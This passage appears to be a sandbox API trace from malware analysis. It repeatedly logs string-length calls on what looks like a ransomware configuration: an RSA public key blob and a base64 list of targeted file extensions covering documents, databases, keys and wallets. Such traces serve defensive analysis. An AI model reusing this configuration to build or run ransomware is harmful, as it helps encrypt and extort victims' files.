J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA